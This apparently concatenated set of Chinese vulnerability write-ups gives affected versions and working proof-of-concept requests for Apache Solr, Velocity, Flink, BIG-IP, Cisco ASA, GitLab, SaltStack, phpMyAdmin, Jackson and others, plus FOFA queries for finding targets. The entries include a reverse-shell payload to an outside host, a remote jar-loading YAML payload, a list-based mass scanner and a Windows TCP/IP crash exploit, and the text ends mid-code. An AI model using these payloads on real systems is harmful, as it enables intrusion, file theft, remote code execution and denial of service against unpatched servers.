3 | 4 | Apache Solr是一个开源搜索服务引擎，Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。漏洞产生在 ReplicationHandler 中的 masterUrl 参数（ leaderUrl 参数）可指派另一个 Solr 核心上的 ReplicationHandler 讲索引数据复制到本地核心上。成功利用此漏洞可造成服务端请求伪造漏洞。 5 | 6 | 影响版本： 7 | 8 | Apache Solr 7.0.0 - 7.7.3 Apache Solr 8.0.0 - 8.8.1 9 | 10 | poc： 11 | 12 | ``` 13 | GET /solr/test/replication?command=fetchindex&masterUrl=http://127.0.0.1/&wt=json&httpBasicAuthUser=&httpBasicAuthPassword= HTTP/1.1 14 | HOST:target 15 | .... 16 | ``` 17 | 18 | 19 | ``` 20 | GET http://xxxxx/solr/xxxx/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1 21 | HOST:target 22 | ... 23 | ``` 24 | 25 | ref： 26 | 27 | * https://nox.qianxin.com/vulnerability/detail/92900 28 | * https://nvd.nist.gov/vuln/detail/CVE-2021-27905 29 | * https://forum.ywhack.com/thread-115470-1-5.html -------------------------------------------------------------------------------- /Apache Solr<= 8.8.2 (最新) 任意文件删除.md: -------------------------------------------------------------------------------- 1 | # Apache Solr<= 8.8.2 (最新) 任意文件删除 2 | 3 | 4 | Apache Solr全版本存在任意文件删除漏洞，在Solr默认安装后无需任何其它配置即可删除系统任意文件。 5 | 6 | 影响版本： 7 | Apache Solr < = 8.8.2 8 | 9 | poc： 10 | 11 | ``` 12 | POST /solr/db/config HTTP/1.1 13 | Host: 192.168.33.130:8983 14 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 15 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 16 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 17 | Accept-Encoding: gzip, deflate 18 | Content-type:application/json 19 | Connection: close 20 | Upgrade-Insecure-Requests: 1 21 | Cache-Control: max-age=0 22 | Content-Length: 218 23 | { 24 | "add-requesthandler": { 25 | "name": "/testping", 26 | "class":"solr.PingRequestHandler", 27 | "defaults":{"echoParams":"explicit"}, 28 | "healthcheckFile":"../../../../../../../../../../../../../aaa.txt", 29 | } 30 | } 31 | 32 | 检查创建是否成功: 33 | http://target/solr/db/config/overlay?omitHeader=true 34 | 35 | 访问： 36 | http://target/solr/db/testping?action=DISABLE 37 | 38 | 文件已成功删除。 39 | ``` 40 | 41 | 详情可以参考：https://mp.weixin.qq.com/s/dECH74n5qjrWT9lok8IkPQ 42 | 43 | ref： 44 | 45 | https://nox.qianxin.com/vulnerability/detail/98218 46 | -------------------------------------------------------------------------------- /Apache Velocity 远程代码执行 (CVE-2020-13936).md: -------------------------------------------------------------------------------- 1 | # Apache Velocity 远程代码执行 (CVE-2020-13936) 2 | 3 | Velocity Uberspector无法阻止访问java.lang.ClassLoader类加载器方法。在VelocityView的上下文中使用Velocity模板时，能够修改模版的攻击者可以使用与运行Servlet容器的帐户相同的权限执行任意Java代码或运行任意系统命令。 4 | 5 | 详细分析：https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity 6 | 7 | 测试版本： 8 | 9 | Apache Velocity 2.2 10 | 11 | **PoC：** 12 | 13 | ``` 14 | ${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")} 15 | ``` 16 | 17 | from：https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity -------------------------------------------------------------------------------- /BIG-IP 缓冲区溢出漏洞 (CVE-2021-22991).md: -------------------------------------------------------------------------------- 1 | # BIG-IP 缓冲区溢出漏洞 (CVE-2021-22991) 2 | 3 | 系统可能会错误地处理对虚拟服务器的请求，触发缓冲区溢出，从而导致DoS攻击。理论上可以绕过基于URL的访问控制或远程代码执行（RCE）。 4 | 5 | 影响版本： 6 | 7 | BIG-IP (All Modules)： 8 | 9 | * 16.0.0-16.0.1 10 | * 15.1.0-15.1.2 11 | * 14.1.0-14.1.3.1 12 | * 13.1.0-13.1.3.5 13 | * 12.1.0-12.1.5.2 14 | 15 | PoC： 16 | 17 | iRule： 18 | 19 | 20 | ``` 21 | when HTTP_REQUEST { 22 | log local0. \"normalized: [HTTP::uri -normalized]\" 23 | log local0. \"uri: [HTTP::uri]\" } 24 | ``` 25 | 26 | 请求： 27 | 28 | ``` 29 | echo -e \"GET h://[f] HTTP/1.1\\ 30 | \\ 31 | \" | ncat --ssl 10.154.0.3 443 32 | ``` 33 | 34 | 未初始化的内存直接记录到 /var/log/ltm: 35 | 36 | 37 | ``` 38 | Dec 10 09:41:32 f5-16-vm info tmm[26669]: Rule /Common/normalized : normalized: h://[aa:cf01::c00:0:1100:0]/ 39 | Dec 10 09:41:32 f5-16-vm info tmm[26669]: Rule /Common/normalized : uri: h://[aa] 40 | ``` 41 | 42 | ref: 43 | 44 | * https://support.f5.com/csp/article/K56715231 45 | * https://packetstormsecurity.com/files/161752/GS20210311143641.txt -------------------------------------------------------------------------------- /BIG-IP- BIG-IQ iControl REST 未经身份验证的RCE (CVE-2021-22986).md: -------------------------------------------------------------------------------- 1 | # BIG-IP/ BIG-IQ iControl REST 未经身份验证的RCE (CVE-2021-22986) 2 | 3 | 此漏洞允许未经身份验证的攻击者通过BIG-IP管理界面和IP地址，对iControl REST接口进行网络访问，以执行任意系统命令，创建或删除文件以及禁用服务。此漏洞只能通过control plane利用，而不能通过 data plane利用。 4 | 5 | 详情：https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986 6 | 7 | **PoC：** 8 | 9 | ```json 10 | wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"`id`"}' | jq . 11 | { 12 | "filePath": "`id`", 13 | "toBeInstalledAppRpmsIndex": -1, 14 | "id": "36671f83-d1be-4f5a-a2e6-7f9442a2a76f", 15 | "status": "CREATED", 16 | "userReference": { 17 | "link": "https://localhost/mgmt/shared/authz/users/admin" 18 | }, 19 | "identityReferences": [ 20 | { 21 | "link": "https://localhost/mgmt/shared/authz/users/admin" 22 | } 23 | ], 24 | "ownerMachineId": "ac2562f0-e41f-4652-ba35-6a2b804b235e", 25 | "generation": 1, 26 | "lastUpdateMicros": 1615930477819656, 27 | "kind": "tm:access:bundle-install-tasks:iappbundleinstalltaskstate", 28 | "selfLink": "https://localhost/mgmt/tm/access/bundle-install-tasks/36671f83-d1be-4f5a-a2e6-7f9442a2a76f" 29 | } 30 | wvu@kharak:~$ 31 | ``` 32 | 33 | ID将以ROOT身份执行。 34 | 35 | ``` 36 | [pid 64748] execve("/bin/tar", ["tar", "-xf", "uid=0(root)", "gid=0(root)", "groups=0(root)", "context=system_u:system_r:initrc_t:s0", "-O"], [/* 9 vars */]) = 0 37 | ``` -------------------------------------------------------------------------------- /BloofoxCMS 0.5.2.1 存储型XSS.md: -------------------------------------------------------------------------------- 1 | # BloofoxCMS 0.5.2.1 存储型XSS 2 | 3 | 漏洞文件： 4 | 5 | ``` 6 | /admin/include/inc_content_articles.php 7 | ``` 8 | 9 | FOFA: 10 | 11 | ``` 12 | app="BloofoxCMS" 13 | ``` 14 | 15 | 受影响版本： 16 | 17 | 0.5.1.0 -.5.2.1 18 | 19 | **PoC:** 20 | 21 | 登录有效的账号，在添加文章的时候插入Payload发布，每次访问均可触发： 22 | 23 | ```html 24 | 25 | ``` 26 | 27 | ref： 28 | 29 | https://packetstormsecurity.com/files/161195 -------------------------------------------------------------------------------- /C-Lodop打印机任意文件读取漏洞.md: -------------------------------------------------------------------------------- 1 | # C-Lodop打印机任意文件读取漏洞 2 | 3 | C-Lodop打印机存在任意文件读取漏洞，通过构造特殊URL，可实现读取系统任意文件。 4 | 5 | fofa：`title="C-Lodop"` 6 | 7 | poc： 8 | 9 | ``` 10 | GET /../../../../../../../../windows/System32/drivers/etc/HOSTS HTTP/1.1 11 | Host: 127.0.0.1 12 | .... 13 | ``` -------------------------------------------------------------------------------- /CISCO ASA任意文件读取漏洞 (CVE-2020-3452).md: -------------------------------------------------------------------------------- 1 | # CISCO ASA任意文件读取漏洞 (CVE-2020-3452) 2 | 3 | 4 | POC： 5 | 6 | 7 | ``` 8 | /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ 9 | 10 | ``` 11 | 12 | 13 | ``` 14 | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 15 | Host: 127.0.0.1 16 | Connection: close 17 | Cache-Control: max-age=0 18 | Upgrade-Insecure-Requests: 1 19 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36 20 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 21 | Accept-Language: zh-CN,zh;q=0.9 22 | Cookie: webvpnlogin=1; webvpnLang=en 23 | ``` 24 | 25 | ``` 26 | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 27 | Host: 127.0.0.1 28 | Content-Length: 2 29 | 30 | ``` 31 | 32 | 从列表中单行检查CVE-2020-3452 33 | 34 | 35 | ```bash 36 | while read DOM; do curl -s -k "https://$DOM/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q Cisco && echo [VULNERABLE] $DOM || echo [NOT VULNERABLE] $DOM; done < $1 37 | 38 | ``` 39 | 40 | ref： 41 | 42 | https://forum.ywhack.com/thread-1419-1-7.html -------------------------------------------------------------------------------- /CNVD-2020-24741 JunAms内容管理系统文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # CNVD-2020-24741 JunAms内容管理系统文件上传漏洞 2 | 3 | 4 | JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 5 | 6 | JunAMS内容管理系统存在文件上传漏洞，攻击者可利用该漏洞上传webshell，获取服务器权限。 7 | 8 | 影响版本：JunAMS junAMS 1.2.1.20190403 9 | 10 | EXPLOIT: 11 | 12 | 13 | ```html 14 |
15 |
16 | 17 |
18 | 19 | ``` 20 | 21 | via：beautymanor 22 | 23 | ref： 24 | 25 | https://www.cnvd.org.cn/flaw/show/CNVD-2020-24741 26 | 27 | -------------------------------------------------------------------------------- /CNVD-C-2020-121325 禅道开源版文件上传漏洞.md: -------------------------------------------------------------------------------- 1 | # CNVD-C-2020-121325 禅道开源版文件上传漏洞 2 | 3 | 4 | 禅道官网发布了12.4.3版本更新公告，修复了一个文件上传的漏洞。恶意攻击者（需要登陆后台的任意⽤用户）可以通过fopen/fread/fwrite方法结合file、http、ftp等协议，读取或上传任意敏感文件，成功利用漏洞可获得目标系统中敏感文件及系统管理权限。 5 | 6 | 漏洞编号： 7 | 8 | CNVD-C-2020-121325 9 | 10 | 漏洞等级：高危 11 | 12 | 受影响的版本： 13 | 14 | 禅道开源版<=12.4.2 15 | 16 | 通过版本比对，问题出在module/client/ext/model/xuanxuan.php:14 的 downloadZipPackage 函数中： 17 | 18 | ![](media/16097310393821/16097310621213.jpg) 19 | 20 | 21 | 没有对后缀名进行限制，补丁则进行了白名单处理 22 | 23 | 所以getshell 的一个方法之一就是直接远程download一个php文件即可shell。 24 | 25 | 26 | ![](media/16097310393821/16097310719167.jpg) 27 | 28 | 29 | ref： 30 | 31 | https://mp.weixin.qq.com/s/d-dtcUi2yLKsyXfPuyUF8A 32 | 33 | https://www.zentao.net/dynamic/zentaopms12.4.3-80272.html 34 | 35 | https://s.tencent.com/research/bsafe/1159.html 36 | -------------------------------------------------------------------------------- /CVE-2019-12384 jackson ssrf-rce(附exp脚本).md: -------------------------------------------------------------------------------- 1 | # CVE-2019-12384 jackson ssrf-rce(附exp脚本) 2 | 3 | 4 | 1、ssrf： 5 | 6 | 7 | ``` 8 | POST /fuckme HTTP/1.1 9 | Host: 192.168.136.131:8080 10 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 11 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 12 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 13 | Accept-Encoding: gzip, deflate 14 | DNT: 1 15 | Connection: close 16 | Content-Type: application/x-www-form-urlencoded 17 | Content-Length: 109 18 | 19 | poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://192.168.136.129:7777/"}] 20 | 21 | ``` 22 | 23 | 或者直接使用dnslog验证： 24 | 25 | 26 | ``` 27 | poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://jcqfpe.dnslog.cn/"}] 28 | 29 | ``` 30 | 31 | 2、RCE： 32 | 33 | 首先在vps上放置一个.sql的文件，内容如下： 34 | 35 | 36 | ```sql 37 | CREATE ALIAS SHELLEXEC AS $ String shellexec(String cmd) throws java.io.IOException { 38 | String[] command = {"bash", "-c", cmd}; 39 | java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); 40 | return s.hasNext() ? s.next() : ""; } 41 | $; 42 | CALL SHELLEXEC('bash -i >& /dev/tcp/192.168.136.129/7777 0>&1') 43 | ``` 44 | 45 | 然后发送payload，请求远程的sql文件，进行RCE 46 | 47 | 48 | ``` 49 | POST /fuckme HTTP/1.1 50 | Host: 192.168.136.131:8080 51 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 52 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 53 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 54 | Accept-Encoding: gzip, deflate 55 | DNT: 1 56 | Connection: close 57 | Content-Type: application/x-www-form-urlencoded 58 | Content-Length: 164 59 | 60 | poc=["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.136.129/exp.sql'"}] 61 | 62 | ``` 63 | 64 | via：Mosen 65 | -------------------------------------------------------------------------------- /CVE-2020-10977 Gitlab任意文件读取导致远程命令执行.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-10977 Gitlab任意文件读取导致远程命令执行 2 | 3 | **任意文件读取** 4 | 5 | 新建两个测试项目 6 | 7 | 在其中一个project中创建新的issue，在其问题描述中输入下方代码，然后提交 8 | 9 | 10 | ``` 11 | ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd) 12 | 13 | ``` 14 | 15 | 创建issue成功后点击move issue，将它移动到test2中 16 | 17 | test2中的issue中带了一个password附件 18 | 19 | 点击下载password附件，用记事本方式打开，发现其内容就是/etc/password的内容 20 | 21 | **RCE（remote command/code execute）** 22 | 23 | 利用任意文件读取漏洞 24 | 25 | 下载/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml文件，获取secret_key_base 26 | 27 | ![](media/16096808105538/16096808648174.jpg) 28 | 29 | 30 | 31 | ``` 32 | ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml) 33 | 34 | ``` 35 | 36 | 下载secrets.yml，获取secret_key_base 37 | 38 | 在自己的攻击机上搭建一个gitlab环境（详见环境搭建笔记） 39 | 40 | 将目标机下载下来的secerts.yml覆盖在自己攻击机上/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 41 | 42 | （也可以只替换secret_key_base） 43 | 44 | 使用gitlab-rails console执行以下命令 45 | 46 | 47 | ``` 48 | gitlab-rails console #进入rails console 49 | ``` 50 | 51 | 依次输入： 52 | 53 | 54 | ``` 55 | request = ActionDispatch::Request.new(Rails.application.env_config) 56 | request.env["action_dispatch.cookies_serializer"] = :marshal 57 | cookies = request.cookie_jar 58 | erb = ERB.new("<%= `echo flag was here > /tmp/flag` %>") 59 | depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) 60 | cookies.signed[:cookie] = depr 61 | puts cookies[:cookie] 62 | ``` 63 | 64 | 获取cookie，构造语句： 65 | 66 | 67 | ``` 68 | curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie" 69 | 70 | ``` 71 | 72 | （ps：experimentation_subject_id参数输入rail console获取的cookie值） 73 | 74 | 75 | 通过任意文件读取下载/tmp/flag文件，内容：“flag was here”，说明命令执行成功！ 76 | 77 | EXP：https://www.exploit-db.com/exploits/48431 78 | 79 | 参考：https://hackerone.com/reports/827052 80 | 81 | 来源csdn博客，原文已删。 82 | 83 | https://forum.ywhack.com/thread-114698-1-3.html 84 | 85 | -------------------------------------------------------------------------------- /CVE-2020-13935 Apache Tomcat WebSocket 拒绝服务漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-13935 Apache Tomcat WebSocket 拒绝服务漏洞 2 | 3 | 4 | Apache Tomcat中的WebSocket存在安全漏洞，该漏洞源于程序没有正确验证payload的长度。攻击者可利用该漏洞造成拒绝服务（无限循环）。 5 | 6 | 以下产品及版本受到影响： 7 | 8 | * Apache Tomcat 10.0.0-M1版本至10.0.0-M6版本 9 | * 9.0.0.M1版本至9.0.36版本 10 | * 8.5.0版本至8.5.56版本 11 | * 7.0.27版本至7.0.104版本 12 | 13 | 漏洞分析：https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/ 14 | 15 | PoC： 16 | 17 | https://github.com/RedTeamPentesting/CVE-2020-13935 -------------------------------------------------------------------------------- /CVE-2020-13942 Apache Unomi 远程代码执行.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-13942 Apache Unomi 远程代码执行 2 | 3 | 4 | PoC： 5 | 6 | ```json 7 | {"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"} 8 | ``` 9 | 10 | ![](media/16097302096726/16097302307813.jpg) 11 | 12 | 13 | ref： 14 | 15 | https://twitter.com/pyn3rd/status/1328920545442680837 -------------------------------------------------------------------------------- /CVE-2020-14815 Oracle Business Intelligence XSS.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-14815 Oracle Business Intelligence XSS 2 | 3 | CVE-2020-14815 Oracle Business Intelligence XSS 4 | 5 | PoC： 6 | 7 | ``` 8 | https://target[.]com/bi-security-login/login.jsp?msi=false&redirect="> 9 | ``` 10 | 11 | ![](media/16097303376686/16097303534400.jpg) 12 | 13 | 14 | ref： 15 | 16 | https://www.oracle.com/security-alerts/cpuoct2020.html 17 | 18 | https://twitter.com/HackerOn2Wheels/status/1326927875279380480 -------------------------------------------------------------------------------- /CVE-2020-16846 SaltStack远程执行代码漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-16846 SaltStack远程执行代码漏洞 2 | 3 | 4 | ``` 5 | PoC： 6 | 7 | POST /run HTTP/1.1 8 | Host: 127.0.0.1:8000 9 | User-Agent: Mozilla/5.0 10 | Accept: application/x-yaml 11 | Connection: close 12 | Content-Type: application/x-www-form-urlencoded 13 | Content-Length: 87 14 | 15 | token=12312&client=ssh&tgt=pyn3rd&fun=a&roster=qwe&ssh_priv=aaa%26%20open%20-a%20Calculator 16 | ``` 17 | 18 | ![](media/16097302977098/16097303099460.jpg) 19 | 20 | 21 | ref： 22 | 23 | https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/ 24 | 25 | https://forum.ywhack.com/thread-114703-1-4.html -------------------------------------------------------------------------------- /CVE-2020-16898 | Windows TCP-IP远程执行代码漏洞 Exploit.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-16898 | Windows TCP/IP远程执行代码漏洞 Exploit 2 | 3 | CVE-2020-16898 | Windows TCP/IP远程执行代码漏洞 Exploit 4 | 5 | 受影响的版本 6 | 7 | Windows 10、Windows Server的多个版本均受影响。 8 | 9 | 利用视频：https://vimeo.com/467834951 10 | 11 | exploit： 12 | 13 | 14 | ```python 15 | #!/usr/bin/env python3 16 | # 17 | # Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability 18 | # 19 | # Author: Adam 'pi3' Zabrocki 20 | # http://pi3.com.pl 21 | # 22 | 23 | from scapy.all import * 24 | 25 | v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b" 26 | v6_src = "fe80::24f5:a2ff:fe30:8890" 27 | 28 | p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18" 29 | p_test = p_test_half + 'A'.encode()*4 30 | 31 | c = ICMPv6NDOptEFA(); 32 | 33 | e = ICMPv6NDOptRDNSS() 34 | e.len = 21 35 | e.dns = [ 36 | "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", 37 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 38 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 39 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 40 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 41 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 42 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 43 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 44 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", 45 | "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] 46 | 47 | pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \ 48 | Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e 49 | 50 | p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ 51 | IPv6ExtHdrFragment()/pkt 52 | 53 | l=fragment6(p_test_frag, 200) 54 | 55 | for p in l: 56 | send(p) 57 | 58 | ``` -------------------------------------------------------------------------------- /CVE-2020-17144 Exchange2010 反序列化RCE.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-17144 Exchange2010 反序列化RCE 2 | 3 | 和CVE-2018-8302、CVE-2020-0688类似，CVE-2020-17144同属需登录后利用的反序列化漏洞，但仅影响Exchange2010服务器。 4 | 5 | 与CVE-2020-0688不同，由于漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在，其危害性和隐蔽性远大于CVE-2020-0688 6 | 7 | 8 | ``` 9 | internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai) 10 | { 11 | ... 12 | return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer); 13 | ... 14 | } 15 | ``` 16 | 17 | DeserializeModelFAI 直接将用户可空的个人配置作为参数传入造成RCE 18 | 19 | **CVE-2020-17144-EXP** 20 | 21 | 22 | ``` 23 | 条件: Exchange2010; 普通用户 24 | 默认用法(写webshell): CVE-2020-17144-EXP.exe mail.example.com user pass 25 | 26 | 执行命令 & 端口复用: 修改ExploitClass.cs 27 | ``` 28 | 29 | 参考 @zcgonvh 30 | 31 | ``` 32 | https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483712&idx=1&sn=0b2cc3c9692f5c58a4eeb246d4b392fc&chksm=eaa5bb60ddd23276baf4cfd3fc59ca847c28f350c65ef98a17d49bc9944d653fad95dec4fd14&mpshare=1&scene=1&srcid=1209jtbQLVJIgr3VT0Ut1TM9&sharer_sharetime=1607483575995&sharer_shareid=dc9cecc79ba34e4bbb700a43a16153fd#rd 33 | ``` 34 | 35 | 36 | ``` 37 | ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010); 38 | service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!"); 39 | service.Url = new Uri("https://target/ews/Exchange.asmx"); 40 | { 41 | byte[] data = EVIL-SERIALIZED-BUFFER; 42 | UserConfiguration u = null; 43 | Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox); 44 | u = new UserConfiguration(service); 45 | u.BinaryData = data; 46 | u.Save("MRM.AutoTag.Model", folder.Id); 47 | } 48 | ``` 49 | 50 | ref: 51 | 52 | https://github.com/Airboi/CVE-2020-17144-EXP 53 | 54 | https://mp.weixin.qq.com/s/nVtE-OFoO076x6T0147AMw 55 | 56 | 陈师傅 -------------------------------------------------------------------------------- /CVE-2020-17518 Apache Flink 任意文件写入.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-17518 Apache Flink 任意文件写入 2 | 3 | 影响范围 4 | 5 | Apache Flink 1.5.1 ~ 1.11.2 6 | 7 | FOFA： 8 | 9 | ``` 10 | app="APACHE-Flink" 11 | ``` 12 | 13 | 14 | ```bash 15 | POST /jars/upload HTTP/1.1 16 | Host: localhost:8081 17 | Accept-Encoding: gzip, deflate 18 | Accept: */* 19 | Accept-Language: en 20 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 21 | Connection: close 22 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y 23 | Content-Length: 201 24 | 25 | ------WebKitFormBoundaryoZ8meKnrrso89R6Y 26 | Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/ywhack.txt" 27 | 28 | forum.ywhack.com 29 | ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- 30 | ``` 31 | 32 | ref 33 | 34 | https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 35 | https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4 -------------------------------------------------------------------------------- /CVE-2020-17532 Apache servicecomb-java-chassis Yaml 反序列化漏洞.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-17532 Apache servicecomb-java-chassis Yaml 反序列化漏洞 2 | 3 | 在servicecomb-java-chassis中启用处理程序-路由器组件时，经过身份验证的用户可能会注入一些数据并导致任意代码执行。 4 | 5 | **commit：** 6 | 7 | https://github.com/apache/servicecomb-java-chassis/commit/839a52e27c754cb5ce14f20063902f21065bd26c 8 | 9 | 影响版本：< 2.1.5 10 | 11 | **PoC：** 12 | 13 | ``` 14 | !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]] 15 | ``` 16 | 17 | ``` 18 | !!javax.script.ScriptEngineManager [ 19 | !!java.net.URLClassLoader [[ 20 | !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] 21 | ]] 22 | ] 23 | ``` 24 | 25 | ref： 26 | 27 | * https://github.com/apache/servicecomb-java-chassis/commit/839a52e27c754cb5ce14f20063902f21065bd26c 28 | * https://seclists.org/oss-sec/2021/q1/60 29 | * https://forum.ywhack.com/thread-115020-1-1.html -------------------------------------------------------------------------------- /CVE-2020-26935 phpmyadmin后台SQL注入.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-26935 phpmyadmin后台SQL注入 2 | 3 | 在4.9.6之前的phpMyAdmin和5.0.3之前的5.x的SearchController中发现一个问题。在phpMyAdmin如何处理搜索功能中的SQL语句中发现了一个SQL注入漏洞。攻击者可以利用此漏洞将恶意SQL注入查询。 4 | 5 | Payload： 6 | 7 | 8 | ```sql 9 | http://127.0.0.1/tbl_zoom_select.php?db=pentest&table=a&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1) 10 | ``` 11 | 12 | ![](media/16097301750220/16097301904175.jpg) 13 | 14 | 15 | Reference 16 | 17 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26935 18 | 19 | via：copy@xianzhi 20 | 21 | from：https://xz.aliyun.com/t/8524 -------------------------------------------------------------------------------- /CVE-2020-27131 Cisco Security Manager 反序列化RCE.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-27131 Cisco Security Manager 反序列化RCE 2 | 3 | 思科安全管理器是一个企业级安全管理应用程序，可提供对思科安全和网络设备的了解和控制。Cisco Security Manager在广泛的Cisco安全设备中提供全面的安全管理（配置和事件管理），包括Cisco ASA自适应安全设备，Cisco IPS系列传感器设备，Cisco集成服务路由器（ISR），Cisco防火墙服务模块（FWSM） ，Cisco Catalyst，Cisco交换机等等。Cisco Security Manager允许您有效地管理各种规模的网络-从小型网络到包含数百台设备的大型网络。 4 | 5 | 多个预身份验证漏洞已于2020-07-13提交给思科，并且（根据思科）已于2020-11-10在4.22版中进行了修补。发行说明未提及有关漏洞的任何信息，也未发布安全公告。所有有效负载均在NT AUTHORITY \ SYSTEM上下文中进行处理。 6 | 7 | PoC： 8 | 9 | 10 | ``` 11 | import java.security.InvalidKeyException; 12 | import java.util.Base64; 13 | import com.cisco.nm.cmf.security.jaas.BlobCrypt; 14 | 15 | public class JaasEncryptor { 16 | 17 | public static void main(String args[]) { 18 | String b64Payload = 